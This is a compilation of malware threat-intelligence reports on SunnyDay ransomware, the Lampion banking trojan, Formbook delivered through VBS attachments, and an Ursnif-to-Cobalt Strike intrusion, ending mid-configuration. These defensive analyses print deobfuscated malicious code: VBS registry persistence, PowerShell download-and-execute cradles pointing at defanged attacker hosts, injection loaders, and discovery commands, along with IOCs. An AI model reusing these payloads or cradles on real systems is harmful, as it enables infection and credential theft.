to a remote server presumably hosted over the TOR network. Nonetheless, no hardcoded URLs and .onion addresses were observed. We believe the C2 server potentially could be available over the TOR network because the process of downloading and opening the TOR was identified. In addition, the hardcoded version of the TOR browser is 8.5.3, which is not available to download on the official TOR browser webpage. The version of Tor Browser 8.5.3 is dated from June 2019 and so we believe that it could be a lot of junk and unused resources that come from another variant of this ransomware. This can be a clear sign of cooperation between threat groups. ## Self-Removing Feature When the data encryption process terminates, the malware removes itself from the disk. With this mechanism in place, no artifacts on disk are left, preventing the binaries from being shared on online sandboxes and automatically submitted by AV/EDRs. ## Similarities Between Samples SunnyDay seems to follow the same pattern seen in other samples of this nature. It looks like a new variant of the Ever101 malware, active since 2021. ## Final Thoughts SunnyDay is a new development from other ransomware families and is capable of encrypting a target machine in a few minutes. This piece of malware takes advantage of the CryptoPP library to use the SALSA20 stream cipher during the encryption process, thus speeding up the entire operation. By using a hardcoded public RSA blob that comes with the initial binary, it encrypts a random SALSA20 key and appends it at the end of each encrypted file. This blob of 512 bytes is accessed during the decryption process by the decryption tool that will use a private key to decrypt the SALSA20 key and then recover the original files. ## Indicators of Compromise (IoC) **Name:** 7862d6e083c5792c40a6a570c1d3824ddab12cebc902ea965393fe057b717c0a.exe **MD5:** de6717493246599d8702e7d1fd6914aab5bd015d ## Mitre Att&ck Matrix Yara rule is available on GitHub. **Author:** Pedro Tavares Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher, and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt. In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT, and security in Active Directory networks. He is also a Freelance Writer and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens.
# The Hidden C2: Lampion Trojan Release 212 is on the Rise The hidden C2: Lampion trojan release 212 is on the rise and using a C2 server for two years. Lampion trojan is one of the most active banking trojans impacting Portuguese Internet end users since 2019. This piece of malware is known for the usage of the Portuguese Government Finance & Tax (Autoridade Tributária e Aduaneira) email templates to lure victims to install the malicious loader (a VBS file). However, fake templates of banking organizations in Portugal have been used by criminals to disseminate the threat in the wild, as observed in a malicious PDF. The malware TTP and their capabilities remain the same observed in 2019, but the trojan loader – the VBS files – propagated along with the new campaign has significant differences. Also, the C2 server is the same noticed on the past campaigns since 2020, suggesting that criminals are using the same server geolocated in Russia for two years to orchestrate all the malicious operations. ## FUD Capabilities of the Lampion’s VBS Loader **Filename:** Comprovativo de pagamento_2866-XRNM_15-02-2022 06-43-54_28.vbs **MD5:** 2e295f9e683296d8d6b627a88ea34583 As expected, the Lampion’s VBS loader has been changed in the last years, and its modus operandi is similar to other Brazilian trojans, such as Maxtrilha, URSA, Grandoreiro, and so on. In detail, criminals are enlarging the file size around 56 MB of junk to bypass its detection in contrast to the samples from 2019 with just 13.20 KB. The VBS file contains a lot of junk sequences, and after some rounds of code cleaning and deobfuscation, 31.7 MB of useless lines of code were removed. The final file after the cleaning process has around 24.7 MB, and it is responsible for creating other files, including: - A 2nd VBS file with a random name (2nd_stage_vbs) that will download the Lampion’s final stage – two DLLs from AWS S3 buckets. - Another VBS file that will execute the previous file by using a scheduled task also created by the 1st VBS loader. The next figure presents the structure of the Lampion’s VBS loader after the cleaning and deobfuscation process. As mentioned, the 1st stage (Comprovativo de pagamento_2866-XRNM_15-02-2022 06-43-54_28.vbs) creates a new VBS file (2nd_stage_vbs) inside the %AppData%\Local\Temp folder with a random name (sznyetzkkg.vbs). Also, another VBS (jghfszcekwr.vbs) is created with code responsible for executing the previous VBS file (sznyetzkkg.vbs) via a scheduled task. A scheduled task is created with the service description and author Administrator user associated. This scheduled task will execute the second VBS file jghfszcekwr.vbs that contains instructions to finally run the sznyetzkkg.vbs file (the 2nd VBS stage). After running the initial VBS file, the two additional VBS files are finally prepared to be triggered. That task is then performed by the scheduled task. The source code of the jghfszcekwr.vbs file is quite simple and just executes the 2nd VBS file (sznyetzkkg.vbs). We believe this is just a procedure to make hard the malware analysis as well as difficult its detection – something we confirmed during the analysis, as the AVs don’t detect properly those files during the malware infection chain. After that, the VBS file dubbed sznyetzkkg.vbs is executed. All the steps highlighted are typically known from the last Lampion campaigns. This VBS file is quite similar to their predecessors, and it performs some tasks: - Deletes all the files from the startup folder with the following extension: lnk, vbs, cmd, exe, bat, and js. - Decrypts the URLs containing the final stage of Lampion trojan. - Creates a .cmd file into the Windows startup folder to maintain persistence. From this point, the modus operandi and TTP are the same observed since 2019. The clear sign is the same algorithm used in 2019 to decrypt the hardcoded strings with the malicious URLs was used. After running the script, we obtained the malicious URLs that download the next stage of Lampion trojan. Once again, the AWS S3 buckets were the criminals’ choice, as observed in the last releases of this malware. The first DLL (the trojan loader) is a point of interest in this analysis. This file was also enlarged with lots of random BMP images inside – a well-known technique that is being used by Latin American gangs in their malware. This is a clear sign of cooperation between the several groups. The P-17-4 DLL is then renamed when downloaded and injected into the memory via the DLL injection technique. The EAT function “mJ8Lf9v0GZnptOVNB2I” is triggered to start the DLL loader. The main goal of the DLL loader is just to unzip the 2nd DLL called “soprateste.zip” which is protected with a hardcoded password. All the process from this point is the same as the last articles we have published. As usual, the trojan maintains intact its EAT since 2019. The call “DoThisBicht” is invoked from the DLL loader, and the malware starts its malicious activity. The target brands are the same observed in the past campaigns, with the focus on Brazilian and Portuguese banking organizations. When started, the trojan collects information about the opened processes on the target machine. If the title of the pages matches the hardcoded strings presented above, then it starts the malicious overlay process that presents fake messages and windows impersonating the target bank to lure the victims. As mentioned, Lampion is using the same C2 server geolocated in Russia at least for two years. Interestingly, the C2 server – a Windows machine – has the Microsoft RPC Endpoint Mapper service exposed, which allows mapping some of the services running on the machine, associated pipes, hostname, etc. Through this information, it was possible to obtain the hostname of the remote machine: \WIN-344VU98D3RU. After a quick search, the hostname seems to have already been associated with other malicious groups operating different types of malware, such as the bazaar and also LockBit 2.0 ransomware. Although it is not possible to confirm whether this is a hostname associated with other Cloud machines and used by legitimate systems, it was possible to identify that there are machines spread all over the world with the same hostname, and in some situations, only a few machines available per country. In total, 81,503 machines were identified, with around 45k in The Netherlands, 25k in Russia, 2.5k in Turkey, 2k in Ukraine, 1.5k in the US, etc. ## Final Thoughts Malware is one of the major cyber weapons to destroy a business, market reputation, and even infect a wide number of users for the most malicious purposes. The next list presents some tips on how you can prevent a malware infection. It is not a complete list; it is just a few steps to protect yourself and your devices. - Keep software updated. - Take several minutes to look at the new email and not just a few seconds. Analyze it carefully. - Beware of fake tech support, emails related to bank transactions, invoices, COVID-19, everything you think be strange. - Keep Internet activity relevant. - Log out at the end of the day. - Only access secured and trusted sites; not only websites with a green lock. Criminals are using free CAs to create valid HTTPS certificates. - Keep your operating system up to date. - Make sure you are using antivirus. - Beware of malvertising. ## Take-home Message Be proactive and start taking malware protection seriously!
# Change in Distribution Method of Malware Disguised as Estimate (VBS Script) February 28, 2022 Last year, the ASEC analysis team discovered the distribution of Formbook that used a certain company’s name in its filename. Recently, the team has discovered that it is being distributed via VBS file. The email used for distribution still contains details about a request for an estimate, and by using a certain company’s name in the attachment, it prompts the user to execute it. The compressed file attached to the email does not contain an executable but a VBS file. All the malicious files that are being distributed are using the same company’s name with different dates, and dates differ by the distribution date. The names of the files that have been discovered so far are as follows: - Kor***IndustryDevelopment(2022.02.03).pdf.vbs - Kor***IndustryDevelopment(2022.02.04).pdf.vbs - Kor***IndustryDevelopment(2022.02.07).pdf.vbs - Kor***IndustryDevelopment(2022-02-10).pdf.vbs - Kor***IndustryDevelopment(2022.02.16).pdf.vbs - Kor***IndustryDevelopment(2022.02.17).pdf.vbs - Kor***IndustryDevelopment(2022.02.21).pdf.vbs Certain values are obfuscated in Kor***IndustryDevelopment(2022.02.21).pdf.vbs. When unobfuscated, it shows the code that performs the feature of registering to Run Key and accessing a certain URL. ```vbscript Sub eQACeDnGd() Const zTZPNQXZ = &H80000001 Set izXSnKvcF=Eval("GetObject(WSBI() + ""default:StdRegProv"")") Cso = "Software\Microsoft\Windows\CurrentVersion\Run" Fklft = "jtZsps" XqTs = "C:\Users\[UserName]\Music\" + [Script filename] izXSnKvcF.SetStringValue zTZPNQXZ,Cso,Fklft,XqTs End Sub Sub FRgMMrSnNR() On Error Resume Next Set uVzfiIPoT = Eval("GetObject(new:F5078F32-C551-11D3-89B9-0000F81FE221)") uVzfiIPoT.async = False Execute("uVzfiIPoT.Load hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg") Execute("uVzfiIPoT.transformNode (uVzfiIPoT)") End Sub ``` Upon executing the VBS file, it accesses hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg, and executes the additional script that exists in this URL. It then adds `C:\Users\[UserName]\Music\Kor***IndustryDevelopment(2022.02.21).pdf.vbs` to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\jtZsps` registry to enable the malicious script for it to execute consistently. It also performs the command below to self-copy under the same filename into the `C:\Users\[UserName]\Music\` folder that is added to the registry. ```cmd cmd /c copy “Kor***IndustryDevelopment(2022.02.21).pdf.vbs” “C:\Users\[UserName]\Music” /Y ``` The script code below exists in hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg, and when accessing this URL, PowerShell is executed. ```xml <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user"> <![CDATA[ -omitted- var yy=r.ShellExecute("powershell.exe",eioerhidfsg44g00ggg("2474303D27444535272E7265706C61 -omitted- <em>function</em> eioerhidfsg44g00ggg(hex) { var str = ''; for (var i = 0; i < hex.length; i += 2) { var v = parseInt(hex.substr(i, 2), 16); if (v) str += String.fromCharCode(v); } return str; } ]]> </msxsl:script> </xsl:stylesheet> ``` The obfuscated PowerShell command ultimately performs the command below and downloads additional scripts from hxxp://wisewomanwarrior[.]com/wp-admin/self1.jpg. ```powershell $t0='IEX'; sal g $t0; $gf="$ErrorActionPreference = 'SilentlyContinue'; $t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); [System.Net.ServicePointManager]::SecurityProtocol = $t56fg; Add-Type -AssemblyName Microsoft.VisualBasic;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping); $tty=g('(New-Object Net.WebClient)'); $mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString', [Microsoft.VisualBasic.CallType]::Method,'hxxp://wisewomanwarrior[.]com/wp-admin/self1.jpg')|g" | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) }; g([system.String]::Join('', $gf)) ``` Hxxp://wisewomanwarrior[.]com/wp-admin/self1.jpg contains obfuscated PowerShell command and compressed file data. This script decompresses the data and injects it into a certain process. ```powershell $eqCH=(01100110,01110101,01101110,01100011,<omitted> ,01111101) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };I`E`X([system.String]::Join('', $eqCH)) ‘Decompressing-related powershell script [Byte[]]$MNB=('_<1F,_<8B,_<08, <omitted>,_<00'.replace('_<','0x'))|g; [byte[]]$FFCgPVE = tMCfkSD $MNB [Byte[]]$uiMz=('_<1F,_<8B,_<08, <omitted> ,_<02,_<00'.replace('_<','0x'))|g $ayy = [Microsoft.VisualBasic.Interaction]::CallByname([AppDomain]::CurrentDomain,"Load", [Microsoft.VisualBasic.CallType]::Method,$FFCgPVE) [toooyou]::Black('calc.exe',$uiMz) ``` Upon executing the script above, it uses the function inside the .Net executable that is saved to the `$MNB` variable to inject the data inside `$uiMz` to `calc.exe`. The injected data is the Formbook infostealer. It operates by injecting into the normal process `explorer.exe` and another normal process in system32 path and steals user credentials via C&C connection. C&C: hxxp://www.bumabagi[.]com/p7n9/ Malware disguised as an estimate has been consistently distributed from the past, so user caution is necessary. As the malicious files are disguised under the name of actual companies, users must check the sender and refrain from executing links or attachments in emails from unknown senders. AhnLab’s anti-malware software detects and blocks the malware using the aliases below. **[Behavior and Memory Detection]** - Malware/MDP.Inject.M3044 - Malware/MDP.Inject.M3509 - Ransom/MDP.BlueCrab.M3544 - Trojan/Win.Formbook.XM89 **[File Detection]** - Downloader/VBS.Generic **[IOC Info]** - f7918d4a953248d4878f0332bd235a53 (VBS) - 23c238466940b27bf287dccaf3407923 (VBS) - cdfbfe783f4b40bdb86c1ac3bc126596 (VBS) - hxxp://wisewomanwarrior[.]com/wp-admin/self2.jpg - hxxp://www.bumabagi[.]com/p7n9/ Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information. **Categories:** Malware Information **Tagged as:** Estimate, Formbook, VBScript
# Unwrapping Ursnif's Gifts **January 9, 2023** In late August 2022, we investigated an incident involving Ursnif malware, which resulted in Cobalt Strike being deployed. This was followed by the threat actors moving laterally throughout the environment using an admin account. The Ursnif malware family (also commonly referred to as Gozi or ISFB) is one of the oldest banking trojans still active today. It has an extensive past of code forks and evolutions that has led to several active variants in the last 5 years including Dreambot, IAP, RM2, RM3, and most recently, LDR4. For this report, we have referred to the malware as Ursnif for simplicity; however, we also recommend reading Mandiant’s article on LDR4. ## Case Summary In this intrusion, a malicious ISO file was delivered to a user which contained Ursnif malware. The malware displayed an interesting execution flow, which included using a renamed copy of rundll32. Once executed, the malware conducted automatic discovery on the beachhead host, as we have observed with other loaders such as IcedID. The malware also established persistence on the host with the creation of a registry run key. Approximately 4 days after the initial infection, new activity on the host provided a clear distinction of a threat actor performing manual actions (hands on keyboard). The threat actor used a Background Intelligent Transfer Service (BITS) job to download a Cobalt Strike beacon, and then used the beacon for subsequent actions. The threat actor first ran some initial discovery on the host using built-in Windows utilities like ipconfig, systeminfo, net, and ping. Shortly afterwards, the threat actor injected into various processes and then proceeded to access lsass memory on the host to extract credentials. Using the credentials extracted from memory, the threat actors began to move laterally. They targeted a domain controller and used Impacket’s wmiexec.py to execute code on the remote host. This included executing both a MSI installer for the RMM tools Atera and Splashtop, as well as a Cobalt Strike executable beacon. These files were transferred to the domain controller over SMB. After connecting to the Cobalt Strike beacon on the domain controller, the threat actor executed another round of discovery tasks and dumped lsass memory on the domain controller. Finally, they dropped a script named adcomp.bat which executed a PowerShell command to collect data on computers in the Windows domain. The following day, there was a short check-in on the beachhead host from a Cobalt Strike beacon; no other activity occurred until near the end of the day. At that time, the threat actor became active by initiating a proxied RDP connection via the Cobalt Strike beacon to the domain controller. From there, the threat actor began connecting to various hosts across the network. One host of interest was one of the backup servers, which was logged into, the state of backups were checked and running processes were reviewed before exiting the session. The threat actor was later evicted from the network. ## Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here. The Cobalt Strike server in this case was added to our feed on July 18, 2022, over 2 months before it was used in this case. We also have artifacts and IOCs available from this case such as PCAPs, memory captures, files, and event logs including Sysmon under our Security Researcher and Organization services. ## Timeline ### Initial Access In this case, the Ursnif malware was delivered using a very familiar technique of being contained within an ISO file. The DFIR Report has previously reported on several incidents that involved the tactic of delivering malicious files using ISO files. As we have previously highlighted, the Event Log Microsoft-Windows-VHDMP-Operational.evtx contains high confidence evidence when users mount ISO files. We recommend looking for these events (especially Event ID’s 1, 12 & 25) in your environment and checking for anomalies. In this case, the user had saved the file 3488164.iso to their downloads folder and mounted it. Once mounted, the new drive contained a LNK file 6570872.lnk and a hidden folder “me”. If we parse this LNK file with LECmd (by Eric Zimmerman), it highlights the execution path and the icon it appears as. The contents of the hidden folder “me” included several files and folders that were used for the execution of Ursnif. Of interest, the folder included a legitimate copy of rundll32.exe (renamed to 123.com). ### Summary of the files found in 3488164.iso | File Name | Purpose | |----------------------|--------------------------------------------------| | 6570872.lnk | LNK file that executes alsoOne.bat | | me/by | Empty folder | | me/here | Empty folder | | me/123.com | Renamed legitimate version of rundll32.exe | | me/alsoOne.bat | Batch script to run canWell.js with specific arguments | | me/canWell.js | Reverses argument strings and executes tslt.db with 123.com | | me/itslt.db | Ursnif DLL | | or.jpg | Image not used. | ### Execution Once the user had mounted the ISO and the LNK file was executed by the user, the complex execution flow started. Highlighted in Initial Access, the LNK file would execute a batch script alsoOne.bat. This script called a JavaScript file canWell.js in the same directory and provided a number of strings as arguments. ```batch alsoOne.bat set %params%=hello me\canWell.js hello cexe lldnur revreSretsigeRllD ``` ```javascript function reverseString(str) { var splitString = str.split(""); var reverseArray = splitString.reverse(); var joinArray = reverseArray.join(""); return joinArray; } function ar(id) { r = WScript.Arguments(id); return r; } var sh = WScript.CreateObject("WScript.Shell"); sh[reverseString(ar(1))]("me\\123.com me/itsIt.db," + reverseString(a)); ``` The JS file was then executed with wscript.exe and used the provided command line arguments, which created and executed the following command using WScript.Shell.Exec(): ```batch me/123.com me/itsIt.db,DllRegisterServer ``` Using the SRUM database, we were able to determine that the custom rundll32.exe binary downloaded approximately 0.4 MB of data. Once the malware was executed, the parent instance of explorer launched MSHTA with the following command: ```plaintext "C:\Windows\System32\mshta.exe" "about:<hta:application> <script>Cxak='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Cxak).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\472A62FFA62-1196-3C6B-CED530CFE2D9\\\ActiveDevice'));if(!window.flag)close()</script>" ``` This oneliner created a new ActiveX object to eval() the content stored in the registry key in the user's registry hive. The content of the value “ActiveDevice” used another ActiveX object to run a PowerShell command. This command created additional aliases of common default PowerShell aliases gp (Get-ItemProperty) and iex (Invoke-Expression). These two new aliases were used to get and execute the content in another registry value “MemoryJunk”: ```plaintext Ahgvof=new ActiveXObject('WScript.Shell');Ahgvof.Run('powershell new-alias -name qirlbtfhgo -value gp; new-alias -name kvikpt -value iex; kvikpt ([System.Text.Encoding]::ASCII.GetString((qirlbtfhgo "HKCU:\Software\\AppDataLow\\Software\\Microsoft\\472A62F9-FA62-1196-3C6B-CED530CFE2D9").MemoryJunk))',0,0); ``` Analyst Note: The names of the registry values changed when we ran the payload in a sandbox during analysis, and hence suspected to be generated at random at execution. The last registry key was used to store additional PowerShell code. This script called a combination of QueueUserAPC, GetCurrentThreadId, OpenThread, and VirtualAlloc to perform process injection of shellcode stored in Base64. When Add-Type cmdlet is executed, the C# compiler csc.exe is invoked by PowerShell to compile this class definition, which results in the creation of temporary files in %APPDATA%\Local\Temp. ```plaintext C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /fullpaths @"C:\Users\<REDACTED>\AppData\Local\Temp\npfdesjp\npfdesjp.cmdline" ``` Finally, a unique command spawned from the parent explorer.exe process that was called pause.exe with multiple arguments, which appeared to not provide any additional functionality. ```plaintext "C:\Windows\syswow64\cmd.exe" /C pause dll mail, , ``` A sigma rule for this cmdline can be found in the Detections section of this report. At this point in time, less than a minute of time has elapsed since the user first opened the malware. Once the malware was established on the host, there was limited malicious activity until around 3 days later. That is when we began to observe evidence indicative of “hands-on-keyboard” activity. ### Cobalt Strike An instance of cmd.exe was launched through explorer.exe which ran the following command: ```plaintext powershell.exe -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'hxxp://193.201.9.199:80/a’ -Destination $d; $t = [IO.File]::ReadAllText($d); Remove-Item $d; IEX $t } -Argument 0 | wait-job | Receive-Job" ``` Analyst Note: Ursnif has been known to have VNC-like capabilities. It is possible this explorer.exe ➝ cmd.exe session was through a VNC session. This PowerShell command started a BITS job to download a Cobalt Strike beacon from 193.201.9[.]199 and saved it with a random name to %TEMP%. It then read the file into a variable, and deleted it before executing content with IEX. The event log Microsoft-Windows-Bits-Client%254Operational.evtx corroborated this activity. The activity following this event demonstrated a clear distinction of the threat actor performing discovery manually. ### Persistence Once the foothold had been achieved, after execution of Ursnif on the beachhead host, persistence was achieved by creating a ‘Run’ key named ManagerText which was configured to execute a LNK file that executed a PowerShell script. ### Credential Access We observed a process created by Cobalt Strike accessing lsass.exe. The GrantedAccess code of 0x1010 is a known indicator of such tools as Mimikatz. This was observed on both the beachhead host and a domain controller. ```plaintext LogName=Microsoft-Windows-Sysmon/Operational EventCode=10 EventType=4 ComputerName=<REDACTED> User=SYSTEM Sid=S-1-5-18 SidType=1 SourceName=Microsoft-Windows-Sysmon Type=Information RecordNumber=765707 Keywords=None TaskCategory=Process accessed (rule: ProcessAccess) OpCode=Info Message=Process accessed: RuleName: technique_id=T1003,technique_name=Credential Dumping UtcTime: <REDACTED> SourceProcessGUID: {aaadb608-97b2-630c-6750-000000000400} SourceProcessId: 4768 SourceThreadId: 4248 SourceImage: C:\Windows\system32\rundll32.exe TargetProcessGUID: {aaadb608-45a2-62fc-0c00-000000000400} TargetProcessId: 672 TargetImage: C:\Windows\system32\lsass.exe GrantedAccess: 0x1010 CallTrace: C:\Windows\SYSTEM32\ntdll.dll+9fc24|C:\Windows\System32\KERNELBASE.dll+20d0e|UNKNOWN(0 ``` ### Discovery Ursnif related discovery As we have observed in other malware, Ursnif ran a number of automated discovery commands to gain information about the environment. The following commands were executed and their standard output was redirected to append to a file in the user’s %APPDATA%\Local\Temp\ ```plaintext cmd /C "wmic computersystem get domain |more > C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "systeminfo.exe > C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "net view >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "nslookup 127.0.0.1 >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "tasklist.exe /SVC >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "driverquery.exe >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "nltest /domain_trusts >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "net config workstation >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "nltest /domain_trusts >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "net view /all /domain >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "net view /all >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" cmd /C "echo -------- >> C:\Users\<REDACTED>\AppData\Local\Temp\BD2C.bin1" ``` ### Manual discovery Once the threat actor had Cobalt Strike running on the beachhead host, they ran the following commands: ```plaintext whoami whoami /groups time ipconfig /all systeminfo ``` The threat actor quickly took interest in a support account. This account belonged to the Domain Admin group. ```plaintext net user <REDACTED> ``` The threat actor also used a batch script to collect a list of all computer objects on the domain using: ```plaintext C:\Windows\system32\cmd.exe /C adcomp.bat ``` which contained the PowerShell command: ```plaintext powershell Get-ADComputer -Filter * -Properties Name,OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack,IPv4Address >> log2.txt ``` During the final actions taken by the threat actors before eviction, after completing RDP connections to various hosts on the network, the threat actors checked running processes on the accessed hosts via taskmanager, which were started via their interactive RDP session as noted by the /4 command line argument. ```plaintext C:\Windows\system32\taskmgr.exe /4 ``` ### Lateral Movement WMI was used to pivot to a domain controller on the network. The actor leveraged Impacket’s wmiexec.py to execute commands with a semi-interactive shell, most likely using credentials gathered by the previous LSASS access. The commands executed included directory traversal, host discovery, and execution of tools on the DC. A breakdown of the parent and child processes invoked: The command can be broken down as follows: - ‘Q’ indicates turn off echo – no response. - ‘C’ indicates to stop after command execution. - The 127.0.01 and ADMIN$ indicates C:\Windows. - Output is achieved via the parameter ‘2>&1’, to redirect errors and output to one file. This command line closely resembles the code within the wmiexec.py as part of the Impacket tool maintained by Fortra. As Impacket interacts with remote endpoints via WMI over TCP via DCERPC, it is possible to inspect network level packets. The use of Impacket by threat actors has been recently detailed by CISA in alert AA22-277A – Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization. The Impacket process hierarchy in this case can be visualized as: At the network level, commands are issued by DCOM/RPC port 135, with responses by SMB using port 445. We can observe a number of WMI requests via DCERPC from one endpoint to a target endpoint based on the ports. Correlating the network activity to the host activity confirms that the ‘Powershell.exe’ process initiated the WMI requests. The destination port is within the ephemeral port range 49152–65535, which is for short-lived, time-based communications RFC 6335. One of the observed commands invoked via WMI was ‘firefox.exe’. This was dropped on the DC and spawned a number of processes and invoked a number of hands-on commands. The process generated a significant volume of network connections to 193.201.9[.]199, averaging ~6K requests per hour, equating to >150K connections throughout the duration of the intrusion. RDP was also used by the threat actor on the final two days of the intrusion to connect to various hosts from a domain controller proxying the traffic via the firefox.exe Cobalt Strike beacon. ## Command and Control ### Ursnif Ursnif was seen using the following domains and IPs: - 5.42.199.83 - 62.173.149.7 - 31.41.44.97 - 31.41.44.27 - 208.91.197.91 - 187.190.48.135 - 210.92.250.133 - 189.143.170.233 - 201.103.222.246 - 151.251.24.5 - 190.147.189.122 - 115.88.24.202 - 211.40.39.251 - 187.195.146.2 - 186.182.55.44 - 222.232.238.243 - 211.119.84.111 - 51.211.212.188 - 203.91.116.53 - 115.88.24.203 - 190.117.75.91 - 181.197.121.228 - 190.167.61.79 - 109.102.255.230 - 211.119.84.112 - 190.107.133.19 - 185.95.186.58 - 175.120.254.9 - 46.194.108.30 - 190.225.159.63 - 190.140.74.43 - 187.156.56.52 - 195.158.3.162 - 138.36.3.134 - 109.98.58.98 - 24.232.210.245 - 222.236.49.123 - 175.126.109.15 - 124.109.61.160 - 95.107.163.44 - 93.152.141.65 - 5.204.145.65 - 116.121.62.237 - 31.166.129.162 - 222.236.49.124 - 211.171.233.129 - 211.171.233.126 - 211.53.230.67 - 196.200.111.5 - 190.219.54.242 - 190.167.100.154 - 110.14.121.125 - 58.235.189.192 - 37.34.248.24 - 110.14.121.123 - 179.53.93.16 - 175.119.10.231 - 211.59.14.90 - 188.48.64.249 - 187.232.150.225 - 186.7.85.71 - 148.255.20.4 - 91.139.196.113 - 41.41.255.235 - 31.167.236.174 - 189.165.2.131 - 1.248.122.240 We also observed several modules for Ursnif downloaded from the following IP: 193.106.191.186 - 3db94cf953886aeb630f1ae616a2ec25 cook32.rar - d99cc31f3415a1337e57b8289ac5011e cook64.rar - a1f634f177f73f112b5356b8ee04ad19 stilak32.rar - 8ea6ad3b1acb9e7b2e64d08411af3c9a stilak64.rar - 0c5862717f00f28473c39b9cba2953f4 vnc32.rar - ce77f575cc4406b76c68475cb3693e14 vnc64.rar JoeSandbox reported this sample having the following configuration: ```json { "RSA Public Key": "WzgHg0uTPZvhLtnG19qpIk+GmHzcoxkfTefSu6gst5n3mxnOBivzR4MH4a6Ax7hZ5fgcuPGt3NKKPbYTwmknj", "c2_domain": [ "superliner.top", "superlinez.top", "internetlined.com", "internetlines.in", "medialists.su", "medialists.ru", "mediawagi.info", "mediawagi.ru", "5.42.199.83", "denterdrigx.com", "и", "digserchx.at" ], "ip_check_url": [ "http://ipinfo.io/ip", "http://curlmyip.net" ], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1" } ``` Pivoting on domains registered in WHOIS with the email [email protected] or organization Rus Lak reveals many similar domains as seen in this intrusion. ### Cobalt Strike The following Cobalt Strike C2 server was observed: - 193.201.9.199:443 - JA3: 72a589da586844d7f0818ce684948eea - JA3s: f176ba63b4d68e576b5ba345bec2c7b7 - Certificate: [6e:ce:5e:ce:41:92:68:3d:2d:84:e2:5b:0b:a7:e0:4f:9c:b7:eb:7c] - Not Before: 2015/05/20 18:26:24 UTC - Not After: 2025/05/17 18:26:24 UTC - Issuer Org: - Subject Common: - Subject Org: - Public Algorithm: rsaEncryption The following Cobalt Strike configuration was observed: ```json { "spawnto": "AAAAAAAAAAAAAAAAAAAAAA==", "pipename": null, "dns_beacon": { "put_metadata": null, "get_TXT": null, "get_AAAA": null, "get_A": null, "beacon": null, "maxdns": null, "dns_sleep": null, "put_output": null, "dns_idle": null }, 